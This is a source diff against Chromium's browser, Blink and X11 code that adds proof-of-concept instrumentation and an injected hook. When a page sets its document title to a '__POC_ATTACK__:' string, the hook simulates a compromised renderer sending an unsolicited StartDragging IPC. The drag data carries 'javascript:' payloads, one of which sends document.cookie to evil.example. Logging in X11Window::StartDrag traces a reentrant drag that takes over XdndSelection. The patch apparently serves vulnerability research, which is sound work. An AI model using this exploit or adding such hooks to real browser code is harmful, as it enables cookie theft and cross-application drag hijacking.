diff --git a/content/browser/web_contents/web_contents_view_aura.cc b/content/browser/web_contents/web_contents_view_aura.cc index 7f40cf79d9e0c1..f88b105f812866 100644 --- a/content/browser/web_contents/web_contents_view_aura.cc +++ b/content/browser/web_contents/web_contents_view_aura.cc @@ -17,6 +17,7 @@ #include "base/files/file_path.h" #include "base/files/file_util.h" #include "base/functional/bind.h" +#include "base/logging.h" #include "base/functional/callback_helpers.h" #include "base/memory/raw_ptr.h" #include "base/metrics/histogram_functions.h" @@ -1207,6 +1208,15 @@ void WebContentsViewAura::StartDragging( aura::Window* root_window = GetNativeView()->GetRootWindow(); RenderWidgetHostImpl* const source_rwh = static_cast(source_rfh.GetRenderWidgetHost()); + // POC instrumentation. + LOG(ERROR) << "[POC-BROWSER] WebContentsViewAura::StartDragging this=" + << static_cast(this) + << " did_initiate=" << drag_security_info_.did_initiate() + << " event_loc=" << event_info.location.ToString() + << " content_bounds=" + << GetContentNativeView()->GetBoundsInScreen().ToString() + << " visible=" << GetContentNativeView()->IsVisible(); + // end POC instrumentation. // Disallow reentrant drag which could be an attempt to exploit drag state. if (drag_security_info_.did_initiate()) { return; diff --git a/third_party/blink/renderer/core/dom/document.cc b/third_party/blink/renderer/core/dom/document.cc index 2e1a7120af29a0..7fc7537a8878ec 100644 --- a/third_party/blink/renderer/core/dom/document.cc +++ b/third_party/blink/renderer/core/dom/document.cc @@ -69,6 +69,17 @@ #include "third_party/blink/public/mojom/css/preferred_contrast.mojom-blink.h" #include "third_party/blink/public/mojom/devtools/inspector_issue.mojom-blink.h" #include "third_party/blink/public/mojom/frame/frame.mojom-blink.h" +// POC injection includes +#include +#include +#include "third_party/blink/public/common/page/drag_operation.h" +#include "third_party/blink/public/mojom/drag/drag.mojom-blink.h" +#include "third_party/blink/public/platform/web_drag_data.h" +#include "third_party/skia/include/core/SkBitmap.h" +#include "ui/gfx/geometry/point.h" +#include "ui/gfx/geometry/rect.h" +#include "ui/gfx/geometry/vector2d.h" +// end POC injection includes #include "third_party/blink/public/mojom/input/focus_type.mojom-blink.h" #include "third_party/blink/public/mojom/manifest/display_mode.mojom-blink-forward.h" #include "third_party/blink/public/mojom/page_state/page_state.mojom-blink.h" @@ -2133,6 +2144,43 @@ void Document::DispatchDidReceiveTitle() { } void Document::setTitle(const String& title) { + // ======================================================================== + // POC INJECTION: simulate compromised renderer sending unsolicited + // LocalFrameHost::StartDragging IPC. A real compromised renderer can do + // this at any time without any user gesture; we hook document.title so the + // attacker page can trigger it via JS at the right moment. + // ======================================================================== + if (GetFrame() && title.starts_with("__POC_ATTACK__:")) { + std::string s = title.Utf8().substr(15); + size_t comma = s.find(','); + int x = atoi(s.substr(0, comma).c_str()); + int y = atoi(s.substr(comma + 1).c_str()); + + WebDragData drag_data; + WebDragData::StringItem item; + item.type = WebString::FromUtf8("text/plain"); + item.data = WebString::FromUtf8( + "*** ATTACKER_PAYLOAD *** javascript:alert(document.cookie)"); + drag_data.AddItem(item); + WebDragData::StringItem item2; + item2.type = WebString::FromUtf8("text/uri-list"); + item2.data = WebString::FromUtf8( + "javascript:fetch('https://evil.example/'+document.cookie)"); + drag_data.AddItem(item2); + + auto event_info = mojom::blink::DragEventSourceInfo::New( + gfx::Point(x, y), ui::mojom::blink::DragEventSource::kMouse); + + fprintf(stderr, + "[POC-RENDERER pid=%d] Compromised renderer sending " + "LocalFrameHost::StartDragging IPC, location=(%d,%d)\n", + getpid(), x, y); + GetFrame()->GetLocalFrameHostRemote().StartDragging( + drag_data, kDragOperationCopy, SkBitmap(), gfx::Vector2d(), + gfx::Rect(), std::move(event_info)); + return; + } + // ======================================================================== // Title set by JavaScript -- overrides any title elements. Element* element = documentElement(); if (IsA(element)) { diff --git a/ui/base/x/selection_owner.cc b/ui/base/x/selection_owner.cc index aa38e648183dba..c3733a448d71d9 100644 --- a/ui/base/x/selection_owner.cc +++ b/ui/base/x/selection_owner.cc @@ -141,12 +141,23 @@ void SelectionOwner::RetrieveTargets(std::vector* targets) { } void SelectionOwner::TakeOwnershipOfSelection(const SelectionFormatMap& data) { + // POC instrumentation: log XdndSelection ownership transfer. + x11::Window prev_owner = GetSelectionOwner(selection_name_); + // end POC instrumentation. acquired_selection_timestamp_ = X11EventSource::GetInstance()->GetTimestamp(); SetSelectionOwner(x_window_, selection_name_, acquired_selection_timestamp_); if (GetSelectionOwner(selection_name_) == x_window_) { // The X server agrees that we are the selection owner. Commit our data. format_map_ = data; + // POC instrumentation. + LOG(ERROR) << "[POC-BROWSER] SelectionOwner::TakeOwnershipOfSelection " + << "selection=" << static_cast(selection_name_) + << " prev_owner=0x" << std::hex + << static_cast(prev_owner) << " -> new_owner=0x" + << std::hex << static_cast(x_window_) + << " (committed " << std::dec << data.size() << " formats)"; + // end POC instrumentation. } } diff --git a/ui/base/x/x11_whole_screen_move_loop.cc b/ui/base/x/x11_whole_screen_move_loop.cc index 415621b8e9f601..633554783529f7 100644 --- a/ui/base/x/x11_whole_screen_move_loop.cc +++ b/ui/base/x/x11_whole_screen_move_loop.cc @@ -162,6 +162,9 @@ bool X11WholeScreenMoveLoop::RunMoveLoop( grabbed_pointer_ = false; if (can_grab_pointer) { grabbed_pointer_ = GrabPointer(new_cursor); + LOG(ERROR) << "[POC-BROWSER] X11WholeScreenMoveLoop::RunMoveLoop this=" + << static_cast(this) + << " GrabPointer() => " << grabbed_pointer_; if (!grabbed_pointer_) { x11::Connection::Get()->DestroyWindow({grab_input_window_}); return false; diff --git a/ui/ozone/platform/x11/x11_window.cc b/ui/ozone/platform/x11/x11_window.cc index 2459a05b3caadb..1a1ef7b9302689 100644 --- a/ui/ozone/platform/x11/x11_window.cc +++ b/ui/ozone/platform/x11/x11_window.cc @@ -5,6 +5,11 @@ #include "ui/ozone/platform/x11/x11_window.h" #include +#include + +#include "base/logging.h" +#include "base/strings/utf_string_conversions.h" +#include "ui/gfx/x/connection.h" #include "base/compiler_specific.h" #include "base/memory/scoped_refptr.h" @@ -1661,9 +1666,38 @@ bool X11Window::StartDrag( DCHECK(drag_drop_client_); DCHECK(!drag_location_delegate_); + // POC instrumentation: track reentrant entry across X11Window instances. + static std::atomic g_poc_drag_depth{0}; + int depth = ++g_poc_drag_depth; + std::u16string dragged_text = data.GetString().value_or(u""); + LOG(ERROR) << "[POC-BROWSER] X11Window::StartDrag ENTER depth=" << depth + << " this=" << static_cast(this) + << " can_grab_pointer=" << can_grab_pointer + << " data.text=\"" << base::UTF16ToUTF8(dragged_text) << "\""; + if (depth >= 2) { + LOG(ERROR) << "[POC-BROWSER] *** VULNERABILITY TRIGGERED: re-entrant " + "X11Window::StartDrag while another drag is in flight " + "(no process-global guard on Ozone/X11). InitDrag() will " + "now steal the global XdndSelection. ***"; + } + // end POC instrumentation. + drag_finished_callback_ = std::move(drag_finished_callback); drag_location_delegate_ = location_delegate; drag_drop_client_->InitDrag(operations, &data); + + // POC instrumentation: who owns XdndSelection right now? + { + auto reply = x11::Connection::Get() + ->GetSelectionOwner({x11::GetAtom("XdndSelection")}) + .Sync(); + LOG(ERROR) << "[POC-BROWSER] X11Window::StartDrag depth=" << depth + << " after InitDrag(): XdndSelection owner = 0x" << std::hex + << static_cast(reply ? reply->owner + : x11::Window::None); + } + // end POC instrumentation. + allowed_drag_operations_ = 0; notified_enter_ = false; @@ -1674,9 +1708,24 @@ bool X11Window::StartDrag( drag_loop_->RunMoveLoop(can_grab_pointer, last_cursor_, last_cursor_, std::move(drag_started_callback)); if (!alive) { + --g_poc_drag_depth; return false; } + // POC instrumentation: who owns XdndSelection now that the inner loop ran? + { + auto reply = x11::Connection::Get() + ->GetSelectionOwner({x11::GetAtom("XdndSelection")}) + .Sync(); + LOG(ERROR) << "[POC-BROWSER] X11Window::StartDrag EXIT depth=" << depth + << " this=" << static_cast(this) << " dropped=" << dropped + << " XdndSelection owner = 0x" << std::hex + << static_cast(reply ? reply->owner + : x11::Window::None); + } + --g_poc_drag_depth; + // end POC instrumentation. + drag_loop_.reset(); drag_location_delegate_ = nullptr; drag_drop_client_->CleanupDrag();